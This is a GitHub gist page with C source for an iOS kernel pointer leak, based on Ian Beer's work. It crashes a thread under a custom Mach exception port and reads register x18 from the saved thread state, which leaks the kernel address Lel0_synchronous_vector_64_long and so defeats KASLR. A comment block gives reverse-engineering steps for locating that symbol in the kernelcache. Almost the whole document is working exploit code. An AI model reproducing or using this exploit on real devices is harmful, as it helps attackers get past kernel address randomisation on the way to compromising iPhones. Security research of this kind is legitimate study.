Last active
October 8, 2021 06:12
-
-
Save stek29/e68e9eae382b975093252d6117b6b501 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// based on ian beer's code | |
// just use https://github.com/bazad/x18-leak , it's way cleaner | |
// by stek29 | |
// see bazad's writeup: http://bazad.github.io/2018/04/kernel-pointer-crash-log-ios | |
#if 0 | |
From https://gist.github.com/stek29/e68e9eae382b975093252d6117b6b501 | |
Finding Lel0_synchronous_vector_64_long: | |
- Find string xref `"\"cpu_data_alloc() failed\n\""` (in `_ml_processor_register`) | |
- Next instructions should be `mov x19, 0; mov x0, x19; bl _cpu_data_init;`. | |
The `mov x0, x19` is also branched to after bzero call just to be sure. | |
- Go to `_cpu_data_init`. | |
It'd initialize a lot of structure feilds to constants, and two of them would be set to ptrs. | |
Right before the end, `_exc_vectors_table` would be referenced (after memset zeroing). | |
- `_exc_vectors_table` is an array of 12 function ptrs. | |
`Lel0_synchronous_vector_64_long` is 9th (if counting starts at 1). | |
To verify: | |
- It should theoretically end with 25c (at least on devices without KTRR) due to how exception handlers are aligned | |
- Compare to [`Lel0_synchronous_vector_64_long` in xnu sources](http://xr.anadoxin.org/source/xref/macos-10.13.2-highsierra/xnu-4570.31.3/osfmk/arm64/locore.s#420). | |
- In the end it loads `fleh_synchronous` into x1 and branches to `fleh_dispatch64`. | |
`fleh_dispatch64` calls `_sleh_synchronous`. | |
`_sleh_synchronous` references a lot of stuff, but one of the first string references | |
is `\"ESR (0x%x) for instruction trapped from U32, but saved state is 64-bit.\"`. | |
#endif | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <pthread.h> | |
#include <mach/mach.h> | |
mach_port_t make_exception_port() { | |
kern_return_t err; | |
mach_port_t p = MACH_PORT_NULL; | |
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); | |
if (err != KERN_SUCCESS) { | |
printf("mach port allocation failed: %s\n", mach_error_string(err)); | |
return MACH_PORT_NULL; | |
} | |
err = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); | |
if (err != KERN_SUCCESS) { | |
printf("right insertion failed: %s\n", mach_error_string(err)); | |
mach_port_destroy(mach_task_self(), p); | |
return MACH_PORT_NULL; | |
} | |
return p; | |
} | |
// exc_server calls this function when it processes EXCEPTION_STATE exception | |
kern_return_t catch_exception_raise_state | |
( | |
mach_port_t exception_port, | |
exception_type_t exception, | |
const exception_data_t code, | |
mach_msg_type_number_t codeCnt, | |
int *flavor, | |
const thread_state_t old_state, | |
mach_msg_type_number_t old_stateCnt, | |
thread_state_t new_state, | |
mach_msg_type_number_t *new_stateCnt | |
) | |
{ | |
// get x18 from old thread state | |
// and pass it to pthread_exit | |
// (so we can retrive it later with pthread_join) | |
_STRUCT_ARM_THREAD_STATE64* old_thr_state = (_STRUCT_ARM_THREAD_STATE64*)(old_state); | |
_STRUCT_ARM_THREAD_STATE64* new_thr_state = (_STRUCT_ARM_THREAD_STATE64*)(new_state); | |
// zero new thread state | |
memset(new_thr_state, 0, sizeof(*new_thr_state)); | |
// count is obviously same | |
*new_stateCnt = old_stateCnt; | |
// redirect execution to pthread_exit | |
new_thr_state->__pc = (uint64_t)pthread_exit; | |
// pthread_exit needs a minimal stack | |
uint64_t crash_stack = (uint64_t) malloc(0x4000); | |
crash_stack += 0x3ff0; | |
new_thr_state->__sp = (uint64_t)crash_stack; | |
// set value_ptr to leaked address (which is in x18) | |
new_thr_state->__x[0] = old_thr_state->__x[18]; | |
return KERN_SUCCESS; | |
} | |
union max_msg { | |
union __RequestUnion__exc_subsystem requests; | |
union __ReplyUnion__exc_subsystem replies; | |
}; | |
extern boolean_t exc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP); | |
void* thread_func(void* exception_port) { | |
// set our exception port | |
(void)thread_set_exception_ports(mach_thread_self(), | |
EXC_MASK_ALL, | |
(mach_port_t) exception_port, | |
EXCEPTION_STATE, // we want to receive a catch_exception_raise_state message | |
ARM_THREAD_STATE64); | |
// die | |
__builtin_trap(); | |
} | |
int port_has_message(mach_port_t port) { | |
kern_return_t err; | |
mach_port_seqno_t msg_seqno = 0; | |
mach_msg_size_t msg_size = 0; | |
mach_msg_id_t msg_id = 0; | |
mach_msg_trailer_t msg_trailer; // NULL trailer | |
mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer); | |
err = mach_port_peek(mach_task_self(), | |
port, | |
MACH_RCV_TRAILER_NULL, | |
&msg_seqno, | |
&msg_size, | |
&msg_id, | |
(mach_msg_trailer_info_t)&msg_trailer, | |
&msg_trailer_size); | |
return (err == KERN_SUCCESS); | |
} | |
// port needs to have a send right | |
void crash_thread_with_handler_port(mach_port_t port) { | |
// start a new thread passing it the exception port | |
pthread_t t; | |
pthread_create(&t, NULL, thread_func, (void*)(uint64_t)port); | |
// associate the pthread_t with the port so that we can join the correct pthread | |
// when we receive the exception message and it exits: | |
(void) mach_port_set_context(mach_task_self(), port, (mach_port_context_t)t); | |
// wait until the message has actually been sent: | |
while (!port_has_message(port)) usleep(10); | |
} | |
uint64_t post_crash_get_leaked(mach_port_t port) { | |
// use good old exc_server from Mach (even pre-apple :) | |
// it would end up calling our catch_exception_raise_state | |
(void) mach_msg_server_once(exc_server, sizeof(union max_msg), | |
port, MACH_MSG_TIMEOUT_NONE); | |
// get the pthread context back from the port and join it: | |
pthread_t t; | |
(void) mach_port_get_context(mach_task_self(), port, (mach_port_context_t*) &t); | |
uint64_t leaked; | |
// value_ptr contains addr leaked in exception handler | |
pthread_join(t, (void**) &leaked); | |
return leaked; | |
} | |
// leak Lel0_synchronous_vector_64_long | |
uint64_t get_dat_addr(void) { | |
// prepare port | |
mach_port_t exc_handler_port = make_exception_port(); | |
// crash thread with this exception port | |
crash_thread_with_handler_port(exc_handler_port); | |
// retrive leaked address from crashed thread state | |
uint64_t val = post_crash_get_leaked(exc_handler_port); | |
printf("Lel0_synchronous_vector_64_long: 0x%llx\n", val); | |
return val; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment